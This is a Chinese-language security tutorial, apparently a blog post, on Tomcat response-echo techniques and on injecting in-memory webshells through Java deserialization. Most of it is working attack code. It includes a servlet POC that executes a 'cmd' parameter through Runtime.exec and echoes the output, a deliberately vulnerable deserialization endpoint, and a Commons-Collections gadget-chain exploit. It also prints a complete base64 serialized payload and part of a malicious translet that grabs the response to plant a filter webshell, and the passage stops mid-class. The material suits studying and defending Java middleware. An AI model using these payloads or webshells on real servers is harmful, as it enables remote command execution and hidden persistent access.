在我们熟悉的ApplicationFilterChain#internalDoFilter中,Tomcat会将request对象和response对象存储到这两个变量中

虽然此时的ApplicationDispatcher.WRAP_SAME_OBJECTfalse,但是我们后续可以通过反射修改。

可以总结思路如下

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中
  2. 初始化lastServicedRequestlastServicedResponse两个变量,默认为null
  3. 通过ThreadLocal#get方法将request和response对象从lastServicedRequestlastServicedResponse中取出

反射存储request和response

//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
    WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

初始化变量

由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类

if (lastServicedRequestField.get(null)==null){
    lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
    lastServicedResponseField.set(null, new ThreadLocal<>());
}

获取request变量

if(lastServicedRequestField.get(null)!=null){
    ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
    ServletRequest servletRequest = (ServletRequest) threadLocal.get();
    System.out.println(servletRequest);
    System.out.println((HttpServletRequest) servletRequest == req);
}

下面我们通过一个简单的demo看看效果,编写一个简单的Servlet

import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/echo")
public class Tomcat_Echo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        try {

            //反射获取所需属性
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //使用modifiersField反射修改final型变量
            java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            //将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
            }

            if (lastServicedRequestField.get(null)==null){
                lastServicedRequestField.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponseField.get(null)==null){
                lastServicedResponseField.set(null, new ThreadLocal<>());
            }

            //获取request变量
            if(lastServicedRequestField.get(null)!=null){
                ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
                ServletRequest servletRequest = (ServletRequest) threadLocal.get();
                System.out.println(servletRequest);
                System.out.println((HttpServletRequest) servletRequest == req);
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

下断点进行调试,第一次请求将request和response对象存储进变量中,下面我们来看第二次请求获取request

可以看到这里获取到的正是当前Servlet线程中存储的request

修复回显报错

局限性

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
...
                } else {

                    //Shiro漏洞触发点
                    filter.doFilter(request, response, this);
                }
...

        // We fell off the end of the chain -- call the servlet instance
        try {

            //response回显触发点
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set(request);
                lastServicedResponse.set(response);
            }
...
            } else {
                servlet.service(request, response);
            }
        }
...
    }

通过全局存储Response回显

思路来自于@Litch1师傅

Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。

比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response呢?

但我们知道想要获取回显,request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系。

寻找全局Response

首先我们先来寻找一下Tomcat中的一些全局Response。在AbstractProcessor类中,我们能够找到全局response

调用栈分析

我们来分析一下Tomcat的调用栈

doGet:25, Tomcat_Echo
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用了Http11Processor#service方法

Http11Processor继承了AbstractProcessor类,这里的response对象正是AbstractProcessor类中的属性,因此我们如果能获取到Http11Processor类,就能获取到response对象

那么下面我们就找一找那里能够获取到processor。在AbstractProtocol的内部类ConnectionHandler#register方法中,将processor的信息存储在了属性global中。

protected void register(Processor processor) {
            if (this.getProtocol().getDomain() != null) {
                synchronized(this) {
                    try {
...
                        RequestInfo rp = processor.getRequest().getRequestProcessor();
                        rp.setGlobalProcessor(this.global);
                       ...
}

该属性中存储了一个RequestInfo的List,其中在RequestInfo中我们也能获取Request

我们接着往下看,调用栈调用了内部类ConnectoinHandler的process()方法,该方法会调用registry方法将process存储在global中

至此我们的调用链如下

AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性

我们来看Connector类的定义,存在和AbstractProtocol相关的protocolHandler属性

此时我们看调用链,该属性的值为一个Http11NioProtocol对象,并且该类继承了AbstractProtocol类

此时我们的调用链变成如下

Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector

StandardService#addConnector如下,该方法会将Connector放入属性connectors

public void addConnector(Connector connector) {

        synchronized (connectorsLock) {
            connector.setService(this);
            Connector results[] = new Connector[connectors.length + 1];
            System.arraycopy(connectors, 0, results, 0, connectors.length);
            results[connectors.length] = connector;
            connectors = results;
        }

        try {
            if (getState().isAvailable()) {
                connector.start();
            }
        } catch (LifecycleException e) {
            throw new IllegalArgumentException(
                    sm.getString("standardService.connector.startFailed", connector), e);
        }

        // Report this property change to interested listeners
        support.firePropertyChange("connector", null, connector);
    }

最终我们的调用链如下

StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面的工作就是获取StandardService对象了,在此之前我们先了解一下Tomcat的类加载机制。

Tomcat的类加载机制

众所周知,Tomcat使用的并不是传统的类加载机制,我们来看下面的例子

我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。

Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader

那么我们又如何将原有的父加载器和WebappClassLoader联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。

Thread类中有getContextClassLoader()setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

这里通过调试,我们能够看到这里的线程类加载器是继承了WebAppClassLoaderParallelWebAppClassLoader

其中我们同样能获取到StandardService

构造Payload

按照上文对调用栈分析的思路,我们可以依次构造出如下Payload

获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
获取ApplicationContext

StandardContext中没有直接的方法获取context,因此我们需要通过反射获取

Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
获取StandardService

同样使用反射获取

//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
获取Connector
//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];
获取Handler

我们可以通过Connector#getProtocolHandler方法来获取对应的protocolHandler

这里获取的protocolHandler是Http11NioProtocol对象,前面我们分析过了该类继承了AbstractProtocol类,下面我们再通过反射获取Handler——内部类ConnectionHandler

//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
获取内部类ConnectionHandler的global属性
//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
获取processor

global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象

//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

最后我们获取request和response对象

获取request和response

这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWrinter类直接获取回显

//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

    //获取org.apache.coyote.Request
    org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

    //通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
    org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
    org.apache.catalina.connector.Response http_response = http_request.getResponse();

    PrintWriter writer = http_response.getWriter();
    String cmd = http_request.getParameter("cmd");

    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
    Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
    String result = scanner.hasNext()?scanner.next():"";
    scanner.close();
    writer.write(result);
    writer.flush();
    writer.close();
}

完整POC

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //获取StandardService
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        System.out.println(standardContext);

        try {
            //获取ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

            //获取StandardService
            Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            standardServiceField.setAccessible(true);
            StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

            //获取Connector
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);
            Connector[] connectors = (Connector[]) connectorsField.get(standardService);
            Connector connector = connectors[0];

            //获取Handler
            ProtocolHandler protocolHandler = connector.getProtocolHandler();
            Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
            handlerField.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

            //获取内部类AbstractProtocol$ConnectionHandler的global属性
            Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalHandler.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

            //获取processors
            Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsField.setAccessible(true);
            List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

            //获取request和response
            Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            requestField.setAccessible(true);
            for (RequestInfo requestInfo : requestInfoList){

                //获取org.apache.coyote.Request
                org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

                //通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
                org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                org.apache.catalina.connector.Response http_response = http_request.getResponse();

                PrintWriter writer = http_response.getWriter();
                String cmd = http_request.getParameter("cmd");

                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            }


        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

反序列化注入内存马

在CTF中,我们注入内存马的目的往往是为了获取不出网机器的回显,而内存马的注入往往是通过反序列化漏洞。下面我们就来聊聊如何通过一个反序列化漏洞来注入内存马。

环境搭建

下面我们先来搭建一个存在反序列化漏洞的环境,编写一个存在反序列化漏洞的Servlet。这里JDK版本为jdk8u_65

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;


@WebServlet("/unserial")
public class Unserial_Servlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        byte[] data = Base64.getDecoder().decode(req.getParameter("data"));
        ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            System.out.println(objectInputStream.readObject());
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req,resp);
    }
}

依赖如下

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.11</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.1</version>
            <scope>provided</scope>
        </dependency>
    </dependencies>

编写反序列化POC

package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

        TemplatesImpl templatesimpl=new TemplatesImpl();

        //getTransletInstance()第一个判断
        Class c=templatesimpl.getClass();
        Field _nameField=c.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesimpl,"aaa");

        //要加载类的字节码
        Field _byteCodesField=c.getDeclaredField("_bytecodes");
        _byteCodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("恶意类Path"));
        byte[][] codes= {code};
        _byteCodesField.set(templatesimpl,codes);

//防止报错
        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesimpl,new TransformerFactoryImpl());

        //用来初始化TemplatesImpl类
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);


        Class c2=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor=c2.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o=AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }
}

恶意类字节码Shell.class,这里我是使用javassist生成的,无需重写transformer方法。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {
    public Evil() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception var2) {
        }

    }
}

生成的Payload如下

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P%2BBd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB%2BABNMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP%2F%2F%2F%2F91cgADW1tCS%2F0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABwMr%2Bur4AAAA0AB0BAARFdmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAHAQAGPGluaXQ%2BAQADKClWDAAJAAoKAAgACwEAEWphdmEvbGFuZy9SdW50aW1lBwANAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADwAQCgAOABEBAARjYWxjCAATAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAFQAWCgAOABcBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAZAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAgAAAAAAAEAAQAJAAoAAQAbAAAAPwACAAIAAAAVKrcADLgAEhIUtgAYV6cAB0ynAAOxAAEABAANABAAGgABABwAAAAQAAL%2FABAAAQcAAgABBwAaAwABAAUAAAACAAZwdAADYWFhcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXEAfgAneHh2cgAbamF2YS5sYW5nLmFubm90YXRpb24uVGFyZ2V0AAAAAAAAAAAAAAB4cA%3D%3D

成功执行

但如果目标机器不出网,无法反弹shell,那么我们可以通过向中间件注入内存马的方式获得回显。

注入内存马

在前文Tomcat内存马部分,我们是通过执行JSP文件来写入内存马的。但是由于JSP内置了一些request对象,因此我们很容易获取当前线程的回显。如果我们通过反序列化漏洞注入内存马的话,就需要参考上文提到的回显方式手动获取request对象了。

这里我们构造的反序列化漏洞可以进行任意类加载,因此我们构造一个恶意类来注入内存马,这里我们以Filter型内存马为例。

获取Request对象

我们首先通过上文的回显技术来获取当前线程的request对象,这里我以ThreadLocal方式为例,构造如下

package Tomcat_Echo_memShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class Tomcat_Echo_inject_ThreadLocal extends AbstractTranslet {

    static {
        try {

            //反射获取所需属性
            java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //使用modifiersField反射修改final型变量
            java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            //将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            }

            if (lastServicedRequestField.get(null) == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponseField.get(null) == null) {
                lastServicedResponseField.set(null, new ThreadLocal<>());
            }


            //获取response变量
            if (lastServicedResponseField.get(null) != null) {
                ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
                ServletResponse servletResponse = (ServletResponse) threadLocal.get();
                PrintWriter writer = servletResponse.getWriter();
